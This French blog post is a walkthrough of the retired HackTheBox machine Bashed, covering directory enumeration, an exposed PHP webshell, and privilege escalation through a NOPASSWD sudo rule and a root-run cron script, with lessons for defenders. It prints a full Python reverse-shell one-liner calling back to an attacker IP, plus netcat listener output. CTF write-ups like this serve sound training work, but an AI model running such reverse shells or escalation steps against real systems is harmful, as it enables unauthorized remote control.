Skip to content

HackTheBox – Bashed : webshell, sudo et crontab

Je vous propose dans cet article la solution de la machine virtuelle Bashed qui provient de la plateforme HackTheBox.

HackTheBox est une plateforme de challenge qui propose, pour une durée limitée, des machines virtuelles vulnérables à attaquer. L’objectif pour chaque VM est d’obtenir deux flags, un user.txt et un root.txt. Je profiterai de cet article pour mettre en avant les « leçons » à tirer pour les défenseurs comme pour les attaquants.

Cette machine virtuelle ayant été retirée de la plateforme, je peux à présent publier sa solution.

I. Découverte et reconnaissance

Un scan nmap classique ne nous révèle que le port 80. Nous n’avons donc pas trop le choix. Voici ce que l’on peut voir sur le service web exposé :

Page d'accueil sur le service web
Page d’accueil sur le service web

L’éditeur du site disponible sur ce port nous indique qu’il a développé un webshell en PHP et que celui-ci est disponible sur Github (https://github.com/Arrexel/phpbash). On apprend également que le webshell est installé sur le serveur web, il ne reste donc plus qu’à le trouver.

Après quelques tests manuels infructueux, j’appelle l’outil dirb à l’aide, qui me trouve des répertoires en quelques secondes :

Résultat de l'exécution de l'outil dirb
Résultat de l’exécution de l’outil dirb

dirb, ou son pendant graphique dirbuster, est un outil permettant de faire de l’énumération de fichier et répertoire à partir d’une URL donnée. Pour faire simple, il suffit de lui donner en paramètre une URL (http://10.10.10.68/) et celui-ci va essayer d’atteindre un grand nombre de répertoires/fichiers afin de voir si ceux-ci existent sur le serveur web. par exemple :

  • http://10.10.10.68/admin
  • http://10.10.10.68/config.php
  • http://10.10.10.68/dev
  • etc.

Par défaut, dirb utilise la wordlist (dictionnaire) /usr/share/dirb/wordlists/common.txt. A noter que d’autres sont disponibles nativement sous Kalilinux dans le répertoire /usr/share/wordlists.

II. Exploitation & flag user

Le répertoire http://10.10.10.68/dev/ existe, et une erreur de configuration permet de lister les fichiers qu’il contient (cela s’appelle le Directory listing) :

Détection d'un Directory Listing sur l'URL http://10.10.10.68/dev/
Détection d’un Directory Listing sur l’URL http://10.10.10.68/dev/

On y retrouve d’ailleurs le webshell PHP de l’éditeur du site.
Il ne nous reste plus qu’à l’utiliser pour parcourir le serveur. Quelques commandes nous en apprendrons plus sur notre contexte. A noter que celui-ci ne demande aucune authentification au visiteur :

Utilisation du webshell déposé par le développeur du site.
Utilisation du webshell déposé par le développeur du site.

Le webshell est exécuté en tant que l’utilisateur www-data, qui dispose de peu de privilèges sur le système. Allons voir les répertoires /home/ des utilisateurs, par défaut lisibles par tous sous Linux (la bonne idée … cela est dû à l’umask, voir Gestion de l’umask sous Linux ) on y trouve deux utilisateurs, dont un disposant du premier flag, le fichier user.txt :

Obtention du flag user grâce au webshell
Obtention du flag user grâce au webshell

III. Post exploitation & flag root

La seconde étape est maintenant le privilege escalation, nous allons chercher à obtenir plus de privilèges sur le système afin d’en prendre totalement le contrôle, nous disposons pour le moment d’un compte « de service » (service web). Nous pouvons tenter passer en tant qu’un utilisateur ou en tant que root.

La première chose à fait est d’obtenir un shell un peu plus développé que ce webshell. Différentes techniques sont présentes sur ce lien : http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Après plusieurs essais, je parviens à obtenir un reverse shell via python :

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.132",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Après quelques minutes, je découvre qu’il est possible d’exécuter des commandes en tant que l’utilisateur scriptmanager grâce à la commande sudo , par exemple créer un fichier /tmp/OK appartement à l’utilisateur scriptmanager

sudo -u scriptmanager touch /tmp/OK

L’utilisateur www-data ne possède pas les droits nécessaires pour lister le contenu du fichier /etc/sudoers, ce point là peut donc être relativement long à découvrir car il faut passer en revu toutes les commandes « classiques » d’élévation de privilèges sous Linux, donc différents tests avec la commande sudo pour chaque utilisateur existant sur le système. On peut maintenant utiliser le même one-liner python pour avoir un reverse shell en tant que scriptmanager :

sudo -u scriptmanager python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.132",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Je me met en écoute sur ma machine d’attaque grâce à netcat et obtient un shell dés l’exécution de la commande python via sudo :

root@kali:/tmp# nc -lvp 12345
 listening on [any] 12345 ...
 10.10.10.68: inverse host lookup failed: Unknown host
 connect to [10.10.15.132] from (UNKNOWN) [10.10.10.68] 35298
 /bin/sh: 0: can't access tty; job control turned off
 $ whoami
 scriptmanager

Je continue donc ma post-exploitation en tant que scriptmanager et remarque à la racine du serveur un répertoire inhabituel (/scripts/). Contenant les fichiers suivants :
Le fichier test.py contient les instructions python suivantes :

$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

Et le fichier test.txt, dont root est le propriétaire, contient la ligne suivante :

testing 123!

On comprends donc rapidement que c’est l’utilisateur root qui a créé le fichier au travers l’exécution du script python test.py. On remarque également que l’utilisateur scritpmanager possède les droits d’exécution sur ce script. En modifiant ce dernier, on peut faire exécuter n’importe quelle commande à l’utilisateur root. Il nous reste juste à valider que le script est exécuté fréquemment par root.

Je remplace « testing123! » par « testing1234! » grâce à la commande sed  (man page de la commande sed) :

sed -e 's/123/1234/g' test.py

Au bout de quelques minutes, le fichier test.txt contient la ligne « testing1234! ». Nous avons donc repéré notre vecteur d’élévation de privilège. Nous pourrions écrire dans ce script test.py notre reverse shell python utilisé déjà plusieurs fois. Mais l’objectif ici est d’obtenir le contenu du fichier /root/root.txt, contenant le flag qui permet de valider le challenge. Je réécris donc le contenu du fichier pour qu’il copie le contenu de /root/root.txt dans /tmp/root.txt et qu’il le rendre lisible par tous les utilisateurs du système :
Au bout de quelques minutes, j’obtiens le flag root dans le fichier /tmp/root.txt :
Ce flag nous permet donc de compléter entièrement le challenge.

Jetons tout de même un œil au fichier /etc/sudoers maintenant que nous sommes root sur la machine

$ cat /tmp/jhdlgh.txt
Defaults env_reset
 Defaults mail_badpass
 Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
root ALL=(ALL:ALL) ALL
# Members of the admin group may gain root privileges
 %admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
 %sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
 www-data ALL=(scriptmanager:scriptmanager) NOPASSWD: ALL

On remarque ici la ligne concernant scriptmanager, www-data peut en effet exécuter des commandes en tant que scriptmanager sans avoir à saisir un mot de passe (instructions NOPASSWD), ce qui nous a permis d’exécuter des commandes et d’élever nos privilèges en passant d’un compte de « service » à un compte utilisateur.

IV. Points à retenir

Quelques recommandations et bonnes pratiques que nous pouvons tirer de l’exploitation de cette machine virtuelle. Côté attaquant :

  • Effectuer une énumération des répertoires présents sur le site web mais non directement référencés (c’est à dire non pointés par un lien dans une page web) apporte souvent de nouvelles pistes à creuser.
  • Les développements customs comportent souvent des vulnérabilités que les développeurs ne prévoient pas. Un script qui semble exécuter des commandes sur le système cible est souvent un vecteur d’attaque privilégié.
  • Il est souvent fastidieux mais nécessaire d’effectuer les commandes de post-exploitation pour chaque utilisateur présent sur le système (sudo, parcourir le /home/, etc.). Dans le cas présent, l’utilisateur www-data pouvait exécuter des commandes en tant que scriptmanager et pas en tant que arrexel (un autre utilisateur du système).
  • Lister les fichiers que nous pouvons éditer avec l’utilisateur courant permet souvent de trouver des scripts personnalisés sur le système. Également, ces scripts peuvent contenir des informations intéressantes et des mots de passe (backups, tâches particulières, etc.)

Côté défenseur :

  • Il est important de faire une passe régulière sur tous les fichiers exécutés (notamment via des tâches cron) par l’utilisateur root. Il est important que ceux-ci ne puissent être modifiés par d’autres utilisateurs du système. Pour aller plus loin, il peut être intéressant d’effectuer un contrôle d’intégrité des fichiers avant exécution par des tâches planifiées.
  • Il est recommandé de ne jamais indiquer l’instruction « NOPASSWD » dans le fichier sudoers.
  • Les webshells peuvent être pratiques pour des besoins d’administration, néanmoins ils peuvent être utilisés de façon malveillante pour prendre le contrôle d’une machine, ils sont donc à bannir des plateformes de production contenant des données sensibles.
Partager :
Published inChallenges et CTFs

One Comment

  1. Nimeda

    Super article !!
    Merci.

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *